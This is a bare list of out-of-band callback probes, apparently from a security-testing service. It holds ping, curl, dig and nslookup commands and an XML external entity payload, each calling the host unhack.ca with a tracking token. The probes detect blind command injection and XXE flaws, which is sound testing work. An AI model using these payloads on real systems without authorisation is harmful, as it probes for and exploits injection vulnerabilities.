$ ping -c1 -p 00ce28adba1f00f0b36a224d103c5700 unhack.ca
 

$ curl http://unhack.ca/p/ce28adba1f00f0b36a224d103c57
 

$ dig ce28adba1f00f0b36a224d103c57 @unhack.ca
 

$ dig ce28adba1f00f0b36a224d103c57.ns.unhack.ca
 

C:\> nslookup ce28adba1f00f0b36a224d103c57 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ce28adba1f00f0b36a224d103c57">]>
    <foo>&xxe;</foo>